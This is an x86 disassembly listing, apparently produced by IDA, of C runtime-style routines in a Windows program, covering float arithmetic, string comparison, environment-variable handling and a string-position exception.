E ======================================= sub_421E2B proc near ; CODE XREF: sub_4211F1+8Bp ; sub_4211F1+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4CEDE0 jnb short loc_421E92 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4CECE0[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_421E92 mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_421E6B and cl, 7Fh jmp short loc_421E78 ; --------------------------------------------------------------------------- loc_421E6B: ; CODE XREF: sub_421E2B+39j cmp [esp+4+arg_4], 4000h jnz short loc_421E86 or cl, 80h loc_421E78: ; CODE XREF: sub_421E2B+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_421E86: ; CODE XREF: sub_421E2B+48j mov dword_4CD9B4, 16h jmp short loc_421E9C ; --------------------------------------------------------------------------- loc_421E92: ; CODE XREF: sub_421E2B+Bj ; sub_421E2B+27j mov dword_4CD9B4, 9 loc_421E9C: ; CODE XREF: sub_421E2B+65j or eax, 0FFFFFFFFh pop esi retn sub_421E2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421EA1 proc near ; CODE XREF: sub_4219A9+165p ; sub_4220C1+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_4220A1 cmp cx, 7FFFh jnb loc_4220A1 cmp dx, 0BFFDh ja loc_4220A1 cmp dx, 3FBFh ja short loc_421F0A xor eax, eax jmp short loc_421F44 ; --------------------------------------------------------------------------- loc_421F0A: ; CODE XREF: sub_421EA1+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_421F2C inc [ebp+arg_0] test [esi+8], edx jnz short loc_421F2C xor eax, eax cmp [esi+4], eax jnz short loc_421F2E cmp [esi], eax jnz short loc_421F2E jmp loc_42209B ; --------------------------------------------------------------------------- loc_421F2C: ; CODE XREF: sub_421EA1+71j ; sub_421EA1+79j xor eax, eax loc_421F2E: ; CODE XREF: sub_421EA1+80j ; sub_421EA1+84j cmp cx, ax jnz short loc_421F51 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_421F51 cmp [ebx+4], eax jnz short loc_421F51 cmp [ebx], eax jnz short loc_421F51 loc_421F44: ; CODE XREF: sub_421EA1+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_4220BC ; --------------------------------------------------------------------------- loc_421F51: ; CODE XREF: sub_421EA1+90j ; sub_421EA1+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_421F61: ; CODE XREF: sub_421EA1+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_421FB5 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_421F7D: ; CODE XREF: sub_421EA1+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_421337 add esp, 0Ch test eax, eax jz short loc_421FA8 mov eax, [ebp+var_4] inc word ptr [eax] loc_421FA8: ; CODE XREF: sub_421EA1+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_421F7D loc_421FB5: ; CODE XREF: sub_421EA1+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_421F61 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_421FF8 loc_421FD3: ; CODE XREF: sub_421EA1+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_421FF1 lea eax, [ebp+var_24] push eax call sub_4213B6 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_421FD3 loc_421FF1: ; CODE XREF: sub_421EA1+136j cmp word ptr [ebp+arg_0], 0 jg short loc_422031 loc_421FF8: ; CODE XREF: sub_421EA1+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_422031 movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_422011: ; CODE XREF: sub_421EA1+184j test byte ptr [ebp+var_24], 1 jz short loc_42201A inc [ebp+var_14] loc_42201A: ; CODE XREF: sub_421EA1+174j lea eax, [ebp+var_24] push eax call sub_4213E4 dec ebx pop ecx jnz short loc_422011 cmp [ebp+var_14], 0 jz short loc_422031 or byte ptr [ebp+var_24], 1 loc_422031: ; CODE XREF: sub_421EA1+155j ; sub_421EA1+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_422048 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_42207D loc_422048: ; CODE XREF: sub_421EA1+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_42207A and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_422075 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_42206F inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_42207D ; --------------------------------------------------------------------------- loc_42206F: ; CODE XREF: sub_421EA1+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_42207D ; --------------------------------------------------------------------------- loc_422075: ; CODE XREF: sub_421EA1+1B5j inc [ebp+var_20+2] jmp short loc_42207D ; --------------------------------------------------------------------------- loc_42207A: ; CODE XREF: sub_421EA1+1ABj inc [ebp+var_24+2] loc_42207D: ; CODE XREF: sub_421EA1+1A5j ; sub_421EA1+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_4220A1 mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_42209B: ; CODE XREF: sub_421EA1+86j mov [esi+0Ah], ax jmp short loc_4220BC ; --------------------------------------------------------------------------- loc_4220A1: ; CODE XREF: sub_421EA1+42j ; sub_421EA1+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_4220BC: ; CODE XREF: sub_421EA1+ABj ; sub_421EA1+1FEj pop edi pop esi pop ebx leave retn sub_421EA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4220C1 proc near ; CODE XREF: sub_4214D8+440p ; sub_4219A9+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_436760 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_42213A jge short loc_4220E9 mov eax, [ebp+arg_4] mov ebx, offset dword_4368C0 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_4220E9: ; CODE XREF: sub_4220C1+16j cmp [ebp+arg_8], ecx jnz short loc_4220F4 mov eax, [ebp+arg_0] mov [eax], cx loc_4220F4: ; CODE XREF: sub_4220C1+2Bj cmp [ebp+arg_4], ecx jz short loc_42213A push esi push edi loc_4220FB: ; CODE XREF: sub_4220C1+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_422133 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_422126 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_422126: ; CODE XREF: sub_4220C1+57j push esi push [ebp+arg_0] call sub_421EA1 pop ecx pop ecx xor ecx, ecx loc_422133: ; CODE XREF: sub_4220C1+49j cmp [ebp+arg_4], ecx jnz short loc_4220FB pop edi pop esi loc_42213A: ; CODE XREF: sub_4220C1+14j ; sub_4220C1+36j pop ebx leave retn sub_4220C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42213D proc near ; CODE XREF: sub_421DAE+5Ep ; sub_422619+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_42214A xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42214A: ; CODE XREF: sub_42213D+7j push dword_4CEDE4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4CF004 call sub_4221EA add esp, 1Ch test eax, eax jnz short loc_422177 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_422177: ; CODE XREF: sub_42213D+31j add eax, 0FFFFFFFEh pop ebp retn sub_42213D endp ; =============== S U B R O U T I N E ======================================= sub_42217C proc near ; CODE XREF: sub_421DAE+1Ep ; sub_422492+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4CD9E4 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_4221DD mov ebx, dword_424150 loc_422195: ; CODE XREF: sub_42217C+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_4221E5 push ebp call sub_417B89 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_4221E5 push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_4221E5 push edi push [esp+18h+var_4] call sub_422492 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_422195 loc_4221DD: ; CODE XREF: sub_42217C+11j xor eax, eax loc_4221DF: ; CODE XREF: sub_42217C+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4221E5: ; CODE XREF: sub_42217C+29j ; sub_42217C+38j ... or eax, 0FFFFFFFFh jmp short loc_4221DF sub_42217C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4221EA proc near ; CODE XREF: sub_42213D+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424C88 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4CDCA0, ebx push 1 pop edi jnz short loc_42225D push edi mov eax, offset dword_4248D8 push eax push edi push eax push ebx push ebx call near ptr 25C0000h nop test eax, eax jz short loc_42223A mov dword_4CDCA0, edi jmp short loc_42225D ; --------------------------------------------------------------------------- loc_42223A: ; CODE XREF: sub_4221EA+46j push edi mov eax, offset dword_436EF4 push eax push edi push eax push ebx push ebx call near ptr 25C0732h nop test eax, eax jz loc_422453 mov dword_4CDCA0, 2 loc_42225D: ; CODE XREF: sub_4221EA+31j ; sub_4221EA+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_422274 push esi push [ebp+arg_8] call sub_422467 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_422274: ; CODE XREF: sub_4221EA+78j cmp [ebp+arg_14], ebx jle short loc_422289 push [ebp+arg_14] push [ebp+arg_10] call sub_422467 pop ecx pop ecx mov [ebp+arg_14], eax loc_422289: ; CODE XREF: sub_4221EA+8Dj mov eax, dword_4CDCA0 cmp eax, 2 jnz short loc_4222AE push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25C0732h jmp loc_422455 ; --------------------------------------------------------------------------- loc_4222AE: ; CODE XREF: sub_4221EA+A7j cmp eax, edi jnz loc_422453 cmp [ebp+arg_18], ebx jnz short loc_4222C3 mov eax, dword_4CDA58 mov [ebp+arg_18], eax loc_4222C3: ; CODE XREF: sub_4221EA+CFj cmp esi, ebx jz short loc_4222D0 cmp [ebp+arg_14], ebx jnz loc_422368 loc_4222D0: ; CODE XREF: sub_4221EA+DBj cmp esi, [ebp+arg_14] jnz short loc_4222DD loc_4222D5: ; CODE XREF: sub_4221EA+13Cj ; sub_4221EA+16Dj push 2 loc_4222D7: ; CODE XREF: sub_4221EA+146j pop eax jmp loc_422455 ; --------------------------------------------------------------------------- loc_4222DD: ; CODE XREF: sub_4221EA+E9j cmp [ebp+arg_14], edi jle short loc_4222E9 loc_4222E2: ; CODE XREF: sub_4221EA+151j ; sub_4221EA+159j ... mov eax, edi jmp loc_422455 ; --------------------------------------------------------------------------- loc_4222E9: ; CODE XREF: sub_4221EA+F6j cmp esi, edi jg short loc_42232E lea eax, [ebp+var_3C] push eax push [ebp+arg_18] nop call near ptr 28B10F1h test eax, eax jz loc_422453 cmp esi, ebx jle short loc_422332 cmp [ebp+var_3C], 2 jb short loc_42232E lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_42232E loc_422314: ; CODE XREF: sub_4221EA+142j mov dl, [eax+1] cmp dl, bl jz short loc_42232E mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_422328 cmp cl, dl jbe short loc_4222D5 loc_422328: ; CODE XREF: sub_4221EA+138j inc eax inc eax cmp [eax], bl jnz short loc_422314 loc_42232E: ; CODE XREF: sub_4221EA+101j ; sub_4221EA+120j ... push 3 jmp short loc_4222D7 ; --------------------------------------------------------------------------- loc_422332: ; CODE XREF: sub_4221EA+11Aj cmp [ebp+arg_14], ebx jle short loc_422368 cmp [ebp+var_3C], 2 jb short loc_4222E2 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_4222E2 loc_422345: ; CODE XREF: sub_4221EA+177j mov dl, [eax+1] cmp dl, bl jz short loc_4222E2 mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_42235D cmp cl, dl jbe loc_4222D5 loc_42235D: ; CODE XREF: sub_4221EA+169j inc eax inc eax cmp [eax], bl jnz short loc_422345 jmp loc_4222E2 ; --------------------------------------------------------------------------- loc_422368: ; CODE XREF: sub_4221EA+E0j ; sub_4221EA+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call near ptr 2640000h nop mov [ebp+var_1C], eax cmp eax, ebx jz loc_422453 mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4223B7 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4223B7: ; CODE XREF: sub_4221EA+1B5j cmp [ebp+var_24], ebx jz loc_422453 push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_424070 call esi test eax, eax jz short loc_422453 push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_422453 mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_422422 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_422422: ; CODE XREF: sub_4221EA+224j cmp edi, ebx jz short loc_422453 push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call near ptr 2640000h nop test eax, eax jz short loc_422453 push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25C0000h jmp short loc_422455 ; --------------------------------------------------------------------------- loc_422453: ; CODE XREF: sub_4221EA+63j ; sub_4221EA+C6j ... xor eax, eax loc_422455: ; CODE XREF: sub_4221EA+BFj ; sub_4221EA+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4221EA endp ; =============== S U B R O U T I N E ======================================= sub_422467 proc near ; CODE XREF: sub_41E709+81p ; sub_4221EA+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_422484 loc_422477: ; CODE XREF: sub_422467+1Bj cmp byte ptr [eax], 0 jz short loc_422484 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_422477 loc_422484: ; CODE XREF: sub_422467+Ej ; sub_422467+13j cmp byte ptr [eax], 0 pop esi jnz short loc_42248F sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_42248F: ; CODE XREF: sub_422467+21j mov eax, edx retn sub_422467 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422492 proc near ; CODE XREF: sub_42217C+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_4224F6 push 3Dh push [ebp+arg_0] call sub_4226D8 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_4224F6 cmp [ebp+arg_0], esi jz short loc_4224F6 mov eax, dword_4CD9DC xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4CD9E0 jnz short loc_4224DC push eax call sub_422671 pop ecx mov dword_4CD9DC, eax loc_4224DC: ; CODE XREF: sub_422492+3Cj cmp eax, edi jnz short loc_422534 cmp [ebp+arg_4], edi jz short loc_4224FE cmp dword_4CD9E4, edi jz short loc_4224FE call sub_42217C test eax, eax jz short loc_422534 loc_4224F6: ; CODE XREF: sub_422492+Dj ; sub_422492+22j ... or eax, 0FFFFFFFFh loc_4224F9: ; CODE XREF: sub_422492+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4224FE: ; CODE XREF: sub_422492+51j ; sub_422492+59j cmp ebx, edi jnz loc_422612 push 4 call sub_417B89 cmp eax, edi pop ecx mov dword_4CD9DC, eax jz short loc_4224F6 mov [eax], edi cmp dword_4CD9E4, edi jnz short loc_422534 push 4 call sub_417B89 cmp eax, edi pop ecx mov dword_4CD9E4, eax jz short loc_4224F6 mov [eax], edi loc_422534: ; CODE XREF: sub_422492+4Cj ; sub_422492+62j ... sub esi, [ebp+arg_0] mov edi, dword_4CD9DC mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_422619 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_422594 cmp dword ptr [edi], 0 jz short loc_422594 test ebx, ebx jz short loc_42258C push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_417C3B pop ecx loc_422566: ; CODE XREF: sub_422492+E2j cmp dword ptr [edi], 0 jz short loc_422576 mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_422566 ; --------------------------------------------------------------------------- loc_422576: ; CODE XREF: sub_422492+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41944F pop ecx test eax, eax pop ecx jz short loc_4225C6 jmp short loc_4225C1 ; --------------------------------------------------------------------------- loc_42258C: ; CODE XREF: sub_422492+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4225C6 ; --------------------------------------------------------------------------- loc_422594: ; CODE XREF: sub_422492+BDj ; sub_422492+C2j test ebx, ebx jnz short loc_422612 test esi, esi jge short loc_42259E neg esi loc_42259E: ; CODE XREF: sub_422492+108j lea eax, ds:8[esi*4] push eax push edi call sub_41944F pop ecx test eax, eax pop ecx jz loc_4224F6 mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4225C1: ; CODE XREF: sub_422492+F8j mov dword_4CD9DC, eax loc_4225C6: ; CODE XREF: sub_422492+F6j ; sub_422492+100j cmp [ebp+arg_4], 0 jz short loc_422612 push [ebp+arg_0] call sub_417AB0 inc eax inc eax push eax call sub_417B89 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_422612 push [ebp+arg_0] push esi call sub_4179C0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi nop call near ptr 25B01C4h push esi call sub_417C3B pop ecx loc_422612: ; CODE XREF: sub_422492+6Ej ; sub_422492+104j ... xor eax, eax jmp loc_4224F9 sub_422492 endp ; =============== S U B R O U T I N E ======================================= sub_422619 proc near ; CODE XREF: sub_422492+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4CD9DC push edi mov eax, [esi] test eax, eax jz short loc_422654 mov edi, [esp+8+arg_4] loc_42262B: ; CODE XREF: sub_422619+39j push edi push eax push [esp+10h+arg_0] call sub_42213D add esp, 0Ch test eax, eax jnz short loc_42264A mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_422664 test al, al jz short loc_422664 loc_42264A: ; CODE XREF: sub_422619+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_42262B loc_422654: ; CODE XREF: sub_422619+Cj mov eax, esi sub eax, dword_4CD9DC sar eax, 2 neg eax loc_422661: ; CODE XREF: sub_422619+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_422664: ; CODE XREF: sub_422619+2Bj ; sub_422619+2Fj mov eax, esi sub eax, dword_4CD9DC sar eax, 2 jmp short loc_422661 sub_422619 endp ; =============== S U B R O U T I N E ======================================= sub_422671 proc near ; CODE XREF: sub_422492+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_422680 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_422680: ; CODE XREF: sub_422671+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_422692 loc_422688: ; CODE XREF: sub_422671+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_422688 loc_422692: ; CODE XREF: sub_422671+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_417B89 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4226B3 push 9 call sub_419CDA pop ecx loc_4226B3: ; CODE XREF: sub_422671+38j mov eax, [edi] mov ebx, edi loc_4226B7: ; CODE XREF: sub_422671+5Bj test eax, eax jz short loc_4226CE push eax add ebx, 4 call sub_42274B mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4226B7 ; --------------------------------------------------------------------------- loc_4226CE: ; CODE XREF: sub_422671+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_422671 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4226D8 proc near ; CODE XREF: sub_422492+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4CEDFC, 0 jnz short loc_4226F3 push [ebp+arg_4] push [ebp+arg_0] call sub_418F50 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_4226F3: ; CODE XREF: sub_4226D8+Aj mov ecx, [ebp+arg_0] loc_4226F6: ; CODE XREF: sub_4226D8+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_422739 movzx edx, al test byte_4CEF01[edx], 4 jz short loc_422725 mov dl, [ecx+1] inc ecx test dl, dl jz short loc_422730 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_422734 jmp short loc_42272D ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_4226D8+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_422739 loc_42272D: ; CODE XREF: sub_4226D8+4Bj inc ecx jmp short loc_4226F6 ; --------------------------------------------------------------------------- loc_422730: ; CODE XREF: sub_4226D8+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_422734: ; CODE XREF: sub_4226D8+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_422739: ; CODE XREF: sub_4226D8+25j ; sub_4226D8+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4226D8 endp ; =============== S U B R O U T I N E ======================================= sub_42274B proc near ; CODE XREF: sub_40A7D7+21p ; sub_422671+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_422772 push esi call sub_417AB0 inc eax push eax call sub_417B89 pop ecx test eax, eax pop ecx jz short loc_422772 push esi push eax call sub_4179C0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_422772: ; CODE XREF: sub_42274B+7j ; sub_42274B+1Aj xor eax, eax pop esi retn sub_42274B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_422780 proc near ; CODE XREF: sub_422863+19p ; sub_42298A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_417AB0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_4046A3 mov eax, esi pop esi retn 8 sub_422780 endp ; =============== S U B R O U T I N E ======================================= sub_4227AA proc near ; CODE XREF: ___:004227D5p ; sub_422858+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_404667 mov ecx, esi pop esi jmp sub_422BA6 sub_4227AA endp ; =============== S U B R O U T I N E ======================================= sub_4227C5 proc near ; DATA XREF: ___:00424CA8o ; ___:00424CB8o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4227D1 mov eax, offset dword_424290 locret_4227D1: ; CODE XREF: sub_4227C5+5j retn sub_4227C5 endp ; --------------------------------------------------------------------------- loc_4227D2: ; DATA XREF: ___:off_424CA4o push esi mov esi, ecx call sub_4227AA test byte ptr [esp+8], 1 jz short loc_4227E8 push esi call sub_4182AF pop ecx loc_4227E8: ; CODE XREF: ___:004227DFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4227EE proc near ; CODE XREF: sub_422863+29p mov eax, offset loc_423122 call sub_418290 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_424CC0 call sub_422B1F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_4228A0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_424CB4 mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4227EE endp ; =============== S U B R O U T I N E ======================================= sub_42283C proc near ; DATA XREF: ___:off_424CB4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_422858 test [esp+4+arg_0], 1 jz short loc_422852 push esi call sub_4182AF pop ecx loc_422852: ; CODE XREF: sub_42283C+Dj mov eax, esi pop esi retn 4 sub_42283C endp ; =============== S U B R O U T I N E ======================================= sub_422858 proc near ; CODE XREF: sub_42283C+3p ; DATA XREF: ___:0042502Co mov dword ptr [ecx], offset off_424CB4 jmp sub_4227AA sub_422858 endp ; =============== S U B R O U T I N E ======================================= sub_422863 proc near ; CODE XREF: sub_404514+13p ; sub_4046D8+Ep mov eax, offset loc_423134 call sub_418290 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_422780 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4227EE push offset dword_425028 lea eax, [ebp-3Ch] push eax call sub_422BC9 int 3 ; Trap to Debugger sub_422863 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4228A0 proc near ; CODE XREF: sub_4227EE+32p ; sub_4228C0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_404514 mov eax, esi pop esi retn 4 